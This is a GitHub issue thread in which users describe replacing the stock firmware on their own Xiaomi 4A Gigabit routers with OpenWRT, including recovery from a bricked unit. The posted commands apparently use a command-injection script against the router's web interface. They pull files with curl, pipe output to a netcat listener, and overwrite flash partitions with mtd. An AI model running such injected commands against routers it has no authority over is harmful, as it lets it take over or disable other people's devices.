Host on Linux:

  1. Downloaded the OpenWRT 22.03.2 firmware for the 4A Gigabit
    Then I used the following command to transfer the firmware to the router:
python3 -m http.server
bash -x 4a-gigabite-edition.sh "curl http://192.168.31.IP:8000/22.03.2-4a-gigabit-squashfs-sysupgrade.bin --output /tmp/22.03.2-4a-gigabit-squashfs-sysupgrade.bin"

Additionally, I used nc -lvp 4444 to monitor responses in real time.

  1. To verify the transfer:
bash -x 4a-gigabite-edition.sh "md5sum /tmp/* | nc 192.168.31.IP 4444"
  1. Finally, I flashed the firmware:
bash -x 4a-gigabite-edition.sh "mtd -e OS1 -r write /tmp/22.03.2-4a-gigabit-squashfs-sysupgrade.bin OS1 2>&1 | nc 192.168.31.IP 4444"

At first, I accidentally used an old version of the firmware, and my router got stuck with a red LED (wouldn't boot). To recover, I downloaded the stock Chinese firmware

I then used TinyPXE

Video guide

After recovery, I used the correct OpenWRT 23.05.4 firmware for the 4A Gigabit V2 and followed the same process:

bash -x 4a-gigabite-edition.sh "curl http://192.168.31.IP:8000/v2.bin --output /tmp/v2.bin | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "md5sum /tmp/* | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "mtd -e OS1 -r write /tmp/v2.bin OS1 2>&1 | nc 192.168.31.IP 4444"

This time, everything worked perfectly, and OpenWRT booted successfully!

image

Once again, thank you for your guide! OpenWRT is now running smoothly on my router, and this wouldn't have been possible without your detailed instructions.

Thank you for explaining the steps that helped you perform the firmware change. Unfortunately I can't get this to work on my router, all commands end with an error of '{"code":0}%'

The router interface indicates that I have the "4A Gigabit" version (I still don't understand if it has to say v2 or why that difference) and the firmware version is 2.30.500

The IP is the same (192.168.31.1)
The STOK code I got from the URL itself when accessing my router (http://192.168.31.1/cgi-bin/luci/;stok=STOK_ROUTER_CODE/web/home#router)

I don't know if these values ​​should remain like this (since I can't find anything that resembles this within the interface):
BSSID="00:00:00:00:00:00"
USER_ID="admin"

I really have no idea what to do, this is the only place where I know more They are close to my situation (at least I don't have it bricked, but I would like to be able to use this router with my other routers that already have openwrt).

@HiperDoo
Copy link

I have already managed to load OpenWRT, this great video perfectly shows the steps necessary to perform the firmware change. OpenWRT on the new Xiaomi 4A Gigabit v2

In the last steps of the video you must download the new firmware using wget, but for some reason my router does not recognize that command, but with curl it works.
curl -o firmware.bin https://downloads.openwrt.org/releases/23.05.0/targets/ramips/mt7621/openwrt-23.05.0-ramips-mt7621-xiaomi_mi-router-4a-gigabit-v2-squashfs-sysupgrade.bin

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests